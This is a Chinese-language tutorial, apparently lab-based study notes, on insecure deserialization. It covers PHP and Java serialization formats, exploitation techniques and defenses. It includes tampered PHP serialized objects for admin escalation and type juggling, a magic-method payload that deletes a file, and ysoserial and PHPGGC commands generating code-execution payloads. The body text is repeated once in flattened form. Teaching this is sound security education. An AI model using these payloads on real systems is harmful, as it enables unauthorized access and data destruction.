不安全的序列化
字数 1630 2025-08-15 21:31:32

不安全的反序列化漏洞全面解析与防御指南

1. 序列化与反序列化基础概念

1.1 序列化定义

序列化是将复杂数据结构(如对象及其字段)转换为"扁平"格式的过程,使其能够:

  • 作为字节顺序流发送和接收
  • 写入进程间内存、文件或数据库
  • 通过网络传输或在API调用中传递

序列化会保留对象的状态(属性及其值)。

1.2 反序列化定义

反序列化是将字节流还原为原始对象功能副本的过程,还原后的对象状态与序列化时完全相同。

2. 不安全的反序列化漏洞

2.1 漏洞定义

当网站对用户可控制的数据进行反序列化时,攻击者可:

  • 操纵序列化对象传递有害数据
  • 用完全不同类的对象替换序列化对象
  • 实例化网站可用的任何类别的对象(称为"对象注入"漏洞)

2.2 漏洞成因

  • 开发者错误认为反序列化对象可信任
  • 二进制序列化格式使开发者误以为用户无法读取/操纵数据
  • 缺乏对反序列化数据的完整性验证

2.3 漏洞影响

  • 远程代码执行(RCE)
  • 权限提升
  • 任意文件访问
  • 拒绝服务攻击
  • 扩大攻击面,导致其他漏洞

3. 序列化格式分析

3.1 PHP序列化格式

人类可读字符串格式,示例:

O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}

解释:

  • O:4:"User" - 4字符类名的对象"User"
  • 2 - 对象有2个属性
  • s:4:"name" - 第一个属性的键是4字符字符串"name"
  • s:6:"carlos" - 第一个属性的值是6字符字符串"carlos"
  • s:10:"isLoggedIn" - 第二个属性的键是10字符字符串"isLoggedIn"
  • b:1 - 第二个属性的值是布尔值true

PHP使用serialize()unserialize()函数。

3.2 Java序列化格式

  • 二进制序列化格式
  • 序列化的Java对象以固定字节开头(十六进制和Base64编码)
  • 实现java.io.Serializable接口的类可序列化
  • 关键方法:readObject()用于从InputStream读取和反序列化数据

4. 漏洞利用技术

4.1 修改对象属性

示例
原始序列化数据:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}

修改adminb:1获取管理员权限。

4.2 修改数据类型

示例
原始数据:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"AeVESwbLNxZqqVmSo6z7qdj2aMzhfuTu";}

修改为:

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

利用PHP弱类型比较(0 == "任意字符串"为true)。

4.3 利用应用程序功能

示例
删除用户功能通过$user->image_location删除文件,修改为任意路径:

O:4:"User":3:{...;s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

4.4 魔术方法利用

PHP魔术方法如__destruct(), __wakeup()等在特定条件自动调用,若处理攻击者可控数据则危险。

示例

class CustomTemplate {
    public $lock_file_path;
    
    public function __destruct() {
        unlink($this->lock_file_path);
    }
}

构造序列化数据删除指定文件:

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

4.5 Gadget链利用

Gadget是应用中可帮助攻击者实现目标的代码片段,通过链式调用将输入传递到危险接收器。

4.5.1 Java Gadget链

使用ysoserial工具生成payload:

java -jar ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

4.5.2 PHP Gadget链

使用PHPGGC工具生成payload:

./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64

需结合SECRET_KEY签名cookie。

4.5.3 Ruby Gadget链

利用公开的Gadget链生成payload修改命令为rm /home/carlos/morale.txt

5. 防御措施

  1. 避免反序列化用户输入:除非绝对必要,否则应避免对用户输入进行反序列化。

  2. 数据完整性验证

    • 实施数字签名检查数据完整性
    • 必须在反序列化开始前完成验证
  3. 避免通用反序列化功能

    • 创建特定于类的序列化方法
    • 控制哪些字段公开
  4. 其他措施

    • 使用低权限环境运行反序列化代码
    • 记录和监控反序列化异常
    • 保持框架和库更新以修复已知漏洞
    • 实施严格的类型约束
  5. 安全编码实践

    • 不要信任反序列化对象
    • 限制反序列化的类白名单
    • 验证反序列化数据符合预期模式

通过全面理解反序列化漏洞的原理、利用技术和防御措施,开发者可以更有效地保护应用程序免受此类高危漏洞的影响。

不安全的反序列化漏洞全面解析与防御指南 1. 序列化与反序列化基础概念 1.1 序列化定义 序列化是将复杂数据结构(如对象及其字段)转换为"扁平"格式的过程,使其能够: 作为字节顺序流发送和接收 写入进程间内存、文件或数据库 通过网络传输或在API调用中传递 序列化会保留对象的状态(属性及其值)。 1.2 反序列化定义 反序列化是将字节流还原为原始对象功能副本的过程,还原后的对象状态与序列化时完全相同。 2. 不安全的反序列化漏洞 2.1 漏洞定义 当网站对用户可控制的数据进行反序列化时,攻击者可: 操纵序列化对象传递有害数据 用完全不同类的对象替换序列化对象 实例化网站可用的任何类别的对象(称为"对象注入"漏洞) 2.2 漏洞成因 开发者错误认为反序列化对象可信任 二进制序列化格式使开发者误以为用户无法读取/操纵数据 缺乏对反序列化数据的完整性验证 2.3 漏洞影响 远程代码执行(RCE) 权限提升 任意文件访问 拒绝服务攻击 扩大攻击面,导致其他漏洞 3. 序列化格式分析 3.1 PHP序列化格式 人类可读字符串格式,示例: 解释: O:4:"User" - 4字符类名的对象"User" 2 - 对象有2个属性 s:4:"name" - 第一个属性的键是4字符字符串"name" s:6:"carlos" - 第一个属性的值是6字符字符串"carlos" s:10:"isLoggedIn" - 第二个属性的键是10字符字符串"isLoggedIn" b:1 - 第二个属性的值是布尔值true PHP使用 serialize() 和 unserialize() 函数。 3.2 Java序列化格式 二进制序列化格式 序列化的Java对象以固定字节开头(十六进制和Base64编码) 实现 java.io.Serializable 接口的类可序列化 关键方法: readObject() 用于从 InputStream 读取和反序列化数据 4. 漏洞利用技术 4.1 修改对象属性 示例 : 原始序列化数据: 修改 admin 为 b:1 获取管理员权限。 4.2 修改数据类型 示例 : 原始数据: 修改为: 利用PHP弱类型比较(0 == "任意字符串"为true)。 4.3 利用应用程序功能 示例 : 删除用户功能通过 $user->image_location 删除文件,修改为任意路径: 4.4 魔术方法利用 PHP魔术方法如 __destruct() , __wakeup() 等在特定条件自动调用,若处理攻击者可控数据则危险。 示例 : 构造序列化数据删除指定文件: 4.5 Gadget链利用 Gadget是应用中可帮助攻击者实现目标的代码片段,通过链式调用将输入传递到危险接收器。 4.5.1 Java Gadget链 使用ysoserial工具生成payload: 4.5.2 PHP Gadget链 使用PHPGGC工具生成payload: 需结合SECRET_ KEY签名cookie。 4.5.3 Ruby Gadget链 利用公开的Gadget链生成payload修改命令为 rm /home/carlos/morale.txt 。 5. 防御措施 避免反序列化用户输入 :除非绝对必要,否则应避免对用户输入进行反序列化。 数据完整性验证 : 实施数字签名检查数据完整性 必须在反序列化开始前完成验证 避免通用反序列化功能 : 创建特定于类的序列化方法 控制哪些字段公开 其他措施 : 使用低权限环境运行反序列化代码 记录和监控反序列化异常 保持框架和库更新以修复已知漏洞 实施严格的类型约束 安全编码实践 : 不要信任反序列化对象 限制反序列化的类白名单 验证反序列化数据符合预期模式 通过全面理解反序列化漏洞的原理、利用技术和防御措施,开发者可以更有效地保护应用程序免受此类高危漏洞的影响。